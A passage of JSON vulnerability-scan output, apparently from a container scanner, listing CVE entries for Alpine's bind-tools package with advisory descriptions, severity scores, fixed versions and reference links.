"https://errata.rockylinux.org/RLSA-2026:55442", "https://kb.isc.org/docs/cve-2026-13204", "https://linux.oracle.com/cve/CVE-2026-13204.html", "https://linux.oracle.com/errata/ELSA-2026-55442.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-13204", "https://ubuntu.com/security/notices/USN-8696-1", "https://ubuntu.com/security/notices/USN-8929-1", "https://www.cve.org/CVERecord?id=CVE-2026-13204" ], "PublishedDate": "2026-07-22T15:16:52.08Z", "LastModifiedDate": "2026-11-02T17:49:56.387Z" }, { "VulnerabilityID": "CVE-2026-13321", "PkgID": "bind-tools@9.20.23-r0", "PkgName": "bind-tools", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-tools@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "25a5950e2cc88f2" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.26-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-13321", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:b83ffbe18be4c5e350ae300173659a770bfa20e00534b87f7427f4709046561e", "Title": "bind: bind9: DNSSEC Validation Bypass via Out-of-Zone NSEC Next Field", "Description": "The BIND resolver accepts validly-signed NSEC records where the \"Next Domain Name\" field points outside the signer's zone.\nThis issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.24, 9.21.0 through 9.21.23, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.24-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-346" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "V3Score": 8.6 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55442", "https://access.redhat.com/security/cve/CVE-2026-13321", "https://bugzilla.redhat.com/2503721", "https://bugzilla.redhat.com/2504166", "https://bugzilla.redhat.com/2504298", "https://bugzilla.redhat.com/2504338", "https://bugzilla.redhat.com/2504447", "https://bugzilla.redhat.com/2504560", "https://bugzilla.redhat.com/show_bug.cgi?id=2503721", "https://bugzilla.redhat.com/show_bug.cgi?id=2504166", "https://bugzilla.redhat.com/show_bug.cgi?id=2504298", "https://bugzilla.redhat.com/show_bug.cgi?id=2504338", "https://bugzilla.redhat.com/show_bug.cgi?id=2504447", "https://bugzilla.redhat.com/show_bug.cgi?id=2504560", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-10723", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11331", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11622", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11721", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13321", "https://downloads.isc.org/isc/bind9/9.20.26", "https://downloads.isc.org/isc/bind9/9.21.24", "https://errata.almalinux.org/9/ALSA-2026-55442.html", "https://errata.rockylinux.org/RLSA-2026:55442", "https://kb.isc.org/docs/cve-2026-13321", "https://linux.oracle.com/cve/CVE-2026-13321.html", "https://linux.oracle.com/errata/ELSA-2026-55442.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-13321", "https://ubuntu.com/security/notices/USN-8648-1", "https://ubuntu.com/security/notices/USN-8929-1", "https://www.cve.org/CVERecord?id=CVE-2026-13321" ], "PublishedDate": "2026-07-22T15:16:52.2Z", "LastModifiedDate": "2026-11-02T17:51:27.447Z" }, { "VulnerabilityID": "CVE-2026-19630", "PkgID": "bind-tools@9.20.23-r0", "PkgName": "bind-tools", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-tools@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "25a5950e2cc88f2" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.30-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-19630", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:9f3f0be0b746104e4f862cf796c00e63a27ecb7cb0297f84f4a14fa13e4a4d55", "Title": "bind: BIND: Denial of Service via unbounded processing of crafted DNS messages", "Description": "In a BIND resolver, inbound DNS protocol messages with a particular structure will result in additional processing, with no limit imposed by BIND. A DNS message with a maliciously large number of such structures will cause BIND to consume disproportionate amounts of CPU time and memory during processing.\nThis issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93610", "https://access.redhat.com/security/cve/CVE-2026-19630", "https://bugzilla.redhat.com/2556406", "https://bugzilla.redhat.com/2556407", "https://bugzilla.redhat.com/2556413", "https://bugzilla.redhat.com/2556415", "https://bugzilla.redhat.com/show_bug.cgi?id=2556406", "https://bugzilla.redhat.com/show_bug.cgi?id=2556407", "https://bugzilla.redhat.com/show_bug.cgi?id=2556413", "https://bugzilla.redhat.com/show_bug.cgi?id=2556415", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19630", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-94300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97313", "https://downloads.isc.org/isc/bind9/9.20.30", "https://downloads.isc.org/isc/bind9/9.21.27", "https://errata.almalinux.org/9/ALSA-2026-93610.html", "https://errata.rockylinux.org/RLSA-2026:93610", "https://kb.isc.org/docs/cve-2026-19630", "https://linux.oracle.com/cve/CVE-2026-19630.html", "https://linux.oracle.com/errata/ELSA-2026-94011.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-19630", "https://ubuntu.com/security/notices/USN-8969-1", "https://www.cve.org/CVERecord?id=CVE-2026-19630" ], "PublishedDate": "2026-10-21T13:18:32.453Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-19666", "PkgID": "bind-tools@9.20.23-r0", "PkgName": "bind-tools", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-tools@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "25a5950e2cc88f2" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.29-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-19666", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:0d2dcdc880494891945cd179bc5b18826f248dae947147bf2c82cef470e43f3c", "Title": "bind: BIND: Denial of Service via malformed DNS64 responses", "Description": "On a resolver configured to use ``dns64``, if an applicable answer from the authoritative server is malformed in a specific way, the resolver `named` process will exit unexpectedly.\nThis issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75767", "https://access.redhat.com/security/cve/CVE-2026-19666", "https://bugzilla.redhat.com/2535435", "https://bugzilla.redhat.com/2535466", "https://bugzilla.redhat.com/2535477", "https://bugzilla.redhat.com/show_bug.cgi?id=2535435", "https://bugzilla.redhat.com/show_bug.cgi?id=2535466", "https://bugzilla.redhat.com/show_bug.cgi?id=2535477", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19666", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19667", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80274", "https://downloads.isc.org/isc/bind9/9.20.29", "https://downloads.isc.org/isc/bind9/9.21.26", "https://errata.almalinux.org/9/ALSA-2026-75767.html", "https://errata.rockylinux.org/RLSA-2026:75767", "https://kb.isc.org/docs/cve-2026-19666", "https://linux.oracle.com/cve/CVE-2026-19666.html", "https://linux.oracle.com/errata/ELSA-2026-79162.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-19666", "https://ubuntu.com/security/notices/USN-8929-1", "https://ubuntu.com/security/notices/USN-8969-1", "https://www.cve.org/CVERecord?id=CVE-2026-19666" ], "PublishedDate": "2026-09-16T15:17:33.52Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-19667", "PkgID": "bind-tools@9.20.23-r0", "PkgName": "bind-tools", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-tools@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "25a5950e2cc88f2" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.29-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-19667", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:9e54708f9980b3bf51e5be36c071776c12bc1f25c3a05d0c9591827626af957f", "Title": "bind9: bind: BIND 9: Denial of Service via 16-bit length truncation in DNS negative cache handling", "Description": "If an attacker-controlled authoritative server can produce a negative answer that is exactly 65536 bytes, then a flaw in `named` results in a negative cache entry of 0 bytes. When this entry is subsequently read, `named` aborts.\nThis issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-197" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75767", "https://access.redhat.com/security/cve/CVE-2026-19667", "https://bugzilla.redhat.com/2535435", "https://bugzilla.redhat.com/2535466", "https://bugzilla.redhat.com/2535477", "https://bugzilla.redhat.com/show_bug.cgi?id=2535435", "https://bugzilla.redhat.com/show_bug.cgi?id=2535466", "https://bugzilla.redhat.com/show_bug.cgi?id=2535477", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19666", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19667", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80274", "https://downloads.isc.org/isc/bind9/9.20.29", "https://downloads.isc.org/isc/bind9/9.21.26", "https://errata.almalinux.org/9/ALSA-2026-75767.html", "https://errata.rockylinux.org/RLSA-2026:75767", "https://kb.isc.org/docs/cve-2026-19667", "https://linux.oracle.com/cve/CVE-2026-19667.html", "https://linux.oracle.com/errata/ELSA-2026-79162.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-19667", "https://ubuntu.com/security/notices/USN-8929-1", "https://ubuntu.com/security/notices/USN-8969-1", "https://www.cve.org/CVERecord?id=CVE-2026-19667" ], "PublishedDate": "2026-09-16T14:17:05.037Z", "LastModifiedDate": "2026-10-26T20:10:00.16Z" }, { "VulnerabilityID": "CVE-2026-76163", "PkgID": "bind-tools@9.20.23-r0", "PkgName": "bind-tools", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-tools@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "25a5950e2cc88f2" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.29-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76163", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:4061c9993b87f0fcbf9a624f1f27d36a91dbc98654dc1ad525401d154c6ab3a4", "Title": "bind: BIND: Denial of Service via TKEY query with specific configuration", "Description": "If BIND is loaded with a \"`named.conf`\" file that contains no global \"`options`\" block, an attacker can send a query of QTYPE TKEY which may cause an assertion failure and subsequent unexpected program exit.\nThis issue affects BIND 9 versions 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, and 9.20.9-S1 through 9.20.27-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-617" ], "VendorSeverity": { "azure": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-76163", "https://downloads.isc.org/isc/bind9/9.20.29", "https://downloads.isc.org/isc/bind9/9.21.26", "https://kb.isc.org/docs/cve-2026-76163", "https://nvd.nist.gov/vuln/detail/CVE-2026-76163", "https://ubuntu.com/security/notices/USN-8929-1", "https://ubuntu.com/security/notices/USN-8969-1", "https://www.cve.org/CVERecord?id=CVE-2026-76163" ], "PublishedDate": "2026-09-16T15:17:43.847Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-77692", "PkgID": "bind-tools@9.20.23-r0", "PkgName": "bind-tools", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-tools@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "25a5950e2cc88f2" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.29-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-77692", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:90318b7620fea6b16bd7b979a4d0fbdd8644981fbbd2a5fdce5705f1c3644c23", "Title": "bind: BIND: Remote Denial of Service via crafted DNS-over-HTTPS request", "Description": "An attacker can cause `named` to abort by sending a crafted DNS-over-HTTPS request with a cryptographically invalid SIG(0) record, and then closing the transport connection prematurely.\nThis issue affects BIND 9 versions 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, and 9.20.9-S1 through 9.20.27-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "azure": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-77692", "https://downloads.isc.org/isc/bind9/9.20.29", "https://downloads.isc.org/isc/bind9/9.21.26", "https://kb.isc.org/docs/cve-2026-77692", "https://nvd.nist.gov/vuln/detail/CVE-2026-77692", "https://ubuntu.com/security/notices/USN-8929-1", "https://ubuntu.com/security/notices/USN-8969-1", "https://www.cve.org/CVERecord?id=CVE-2026-77692" ], "PublishedDate": "2026-09-16T14:17:09.647Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-80274", "PkgID": "bind-tools@9.20.23-r0", "PkgName": "bind-tools", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-tools@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "25a5950e2cc88f2" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.29-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80274", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:99dc079779ee820f84bc31342fbfb68b425bfc93dca6dac6f64493cce95eb92f", "Title": "bind: BIND: Denial of Service via crafted DNSSEC reply", "Description": "If a BIND resolver sends a query for a DNSSEC-signed authoritative zone, and the authoritative server replies with a valid wildcard answer and signed NSEC3 proof, followed by an unsigned NSEC at the same owner name, it will trigger an unexpected program exit.\nThis issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-617" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75767", "https://access.redhat.com/security/cve/CVE-2026-80274", "https://bugzilla.redhat.com/2535435", "https://bugzilla.redhat.com/2535466", "https://bugzilla.redhat.com/2535477", "https://bugzilla.redhat.com/show_bug.cgi?id=2535435", "https://bugzilla.redhat.com/show_bug.cgi?id=2535466", "https://bugzilla.redhat.com/show_bug.cgi?id=2535477", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19666", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19667", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80274", "https://downloads.isc.org/isc/bind9/9.20.29", "https://downloads.isc.org/isc/bind9/9.21.26", "https://errata.almalinux.org/9/ALSA-2026-75767.html", "https://errata.rockylinux.org/RLSA-2026:75767", "https://kb.isc.org/docs/cve-2026-80274", "https://linux.oracle.com/cve/CVE-2026-80274.html", "https://linux.oracle.com/errata/ELSA-2026-79162.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80274", "https://ubuntu.com/security/notices/USN-8929-1", "https://ubuntu.com/security/notices/USN-8969-1", "https://www.cve.org/CVERecord?id=CVE-2026-80274" ], "PublishedDate": "2026-09-16T15:17:52.69Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-81563", "PkgID": "bind-tools@9.20.23-r0", "PkgName": "bind-tools", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-tools@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "25a5950e2cc88f2" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.29-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-81563", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:8412bda4fa37e6e7284dc4c4bbbba36ef2517ffc575c1aa1b06170790d003148", "Title": "bind: BIND resolver: Denial of Service due to resource exhaustion in SVCB/HTTPS AliasMode processing", "Description": "A BIND resolver encountering an SVCB/HTTPS AliasMode record referencing 14 or more SVCB/HTTPS ServiceMode records may fail to properly deallocate internal resources. If this happens repeatedly, resource exhaustion will eventually prevent the resolver from performing new recursive lookups.\nThis issue affects BIND 9 versions 9.18.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.18.11-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-401" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75578", "https://access.redhat.com/security/cve/CVE-2026-81563", "https://bugzilla.redhat.com/2535432", "https://bugzilla.redhat.com/2535435", "https://bugzilla.redhat.com/2535461", "https://bugzilla.redhat.com/2535466", "https://bugzilla.redhat.com/2535477", "https://bugzilla.redhat.com/show_bug.cgi?id=2535432", "https://bugzilla.redhat.com/show_bug.cgi?id=2535435", "https://bugzilla.redhat.com/show_bug.cgi?id=2535461", "https://bugzilla.redhat.com/show_bug.cgi?id=2535466", "https://bugzilla.redhat.com/show_bug.cgi?id=2535477", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19666", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19667", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80274", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81736", "https://downloads.isc.org/isc/bind9/9.20.29", "https://downloads.isc.org/isc/bind9/9.21.26", "https://errata.almalinux.org/9/ALSA-2026-75578.html", "https://errata.rockylinux.org/RLSA-2026:75578", "https://kb.isc.org/docs/cve-2026-81563", "https://linux.oracle.com/cve/CVE-2026-81563.html", "https://linux.oracle.com/errata/ELSA-2026-75578.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-81563", "https://ubuntu.com/security/notices/USN-8929-1", "https://ubuntu.com/security/notices/USN-8969-1", "https://www.cve.org/CVERecord?id=CVE-2026-81563" ], "PublishedDate": "2026-09-16T14:17:10.543Z", "LastModifiedDate": "2026-10-26T20:10:00.16Z" }, { "VulnerabilityID": "CVE-2026-81736", "PkgID": "bind-tools@9.20.23-r0", "PkgName": "bind-tools", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-tools@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "25a5950e2cc88f2" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.29-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-81736", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:3e8c1543361f0eb7cf3ed135a29ae5e4d963217838c3d9518ba9813037b79e44", "Title": "bind: BIND 9: Remote Denial of Service via cached SVCB/HTTPS AliasMode records", "Description": "If a BIND resolver has cached a tree of SVCB/HTTPS AliasMode records, and is then queried for the root of that tree, the resolver will spend disproportionate CPU time constructing the response.\nThis issue affects BIND 9 versions 9.18.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.18.11-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-1050" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75578", "https://access.redhat.com/security/cve/CVE-2026-81736", "https://bugzilla.redhat.com/2535432", "https://bugzilla.redhat.com/2535435", "https://bugzilla.redhat.com/2535461", "https://bugzilla.redhat.com/2535466", "https://bugzilla.redhat.com/2535477", "https://bugzilla.redhat.com/show_bug.cgi?id=2535432", "https://bugzilla.redhat.com/show_bug.cgi?id=2535435", "https://bugzilla.redhat.com/show_bug.cgi?id=2535461", "https://bugzilla.redhat.com/show_bug.cgi?id=2535466", "https://bugzilla.redhat.com/show_bug.cgi?id=2535477", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19666", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19667", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80274", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81736", "https://downloads.isc.org/isc/bind9/9.20.29", "https://downloads.isc.org/isc/bind9/9.21.26", "https://errata.almalinux.org/9/ALSA-2026-75578.html", "https://errata.rockylinux.org/RLSA-2026:75578", "https://kb.isc.org/docs/cve-2026-81736", "https://linux.oracle.com/cve/CVE-2026-81736.html", "https://linux.oracle.com/errata/ELSA-2026-75578.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-81736", "https://ubuntu.com/security/notices/USN-8929-1", "https://ubuntu.com/security/notices/USN-8969-1", "https://www.cve.org/CVERecord?id=CVE-2026-81736" ], "PublishedDate": "2026-09-16T14:17:10.817Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-94300", "PkgID": "bind-tools@9.20.23-r0", "PkgName": "bind-tools", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-tools@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "25a5950e2cc88f2" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.30-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-94300", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:e1f6c5f2c5ce26d0fccb951b2a85845d850e2317b053d87d5292b67f67aaa39e", "Title": "bind: bind: Arbitrary code execution via GSS-TSIG UDP message replay", "Description": "Replaying GSS-TSIG signed UDP messages can result in memory corruption in \"`named`\". An attacker who can capture a previously signed UDP message can replay it while the negotiated TSIG key is still valid. By also sending crafted queries to a zone the attacker controls, the attacker may potentially achieve remote code execution.\nThis issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-362", "CWE-415" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93610", "https://access.redhat.com/security/cve/CVE-2026-94300", "https://bugzilla.redhat.com/2556406", "https://bugzilla.redhat.com/2556407", "https://bugzilla.redhat.com/2556413", "https://bugzilla.redhat.com/2556415", "https://bugzilla.redhat.com/show_bug.cgi?id=2556406", "https://bugzilla.redhat.com/show_bug.cgi?id=2556407", "https://bugzilla.redhat.com/show_bug.cgi?id=2556413", "https://bugzilla.redhat.com/show_bug.cgi?id=2556415", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19630", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-94300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97313", "https://downloads.isc.org/isc/bind9/9.20.30", "https://downloads.isc.org/isc/bind9/9.21.27", "https://errata.almalinux.org/9/ALSA-2026-93610.html", "https://errata.rockylinux.org/RLSA-2026:93610", "https://kb.isc.org/docs/cve-2026-94300", "https://linux.oracle.com/cve/CVE-2026-94300.html", "https://linux.oracle.com/errata/ELSA-2026-94011.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-94300", "https://ubuntu.com/security/notices/USN-8969-1", "https://www.cve.org/CVERecord?id=CVE-2026-94300" ], "PublishedDate": "2026-10-21T13:21:08.67Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-96888", "PkgID": "bind-tools@9.20.23-r0", "PkgName": "bind-tools", "PkgIdentifier": { "PURL": 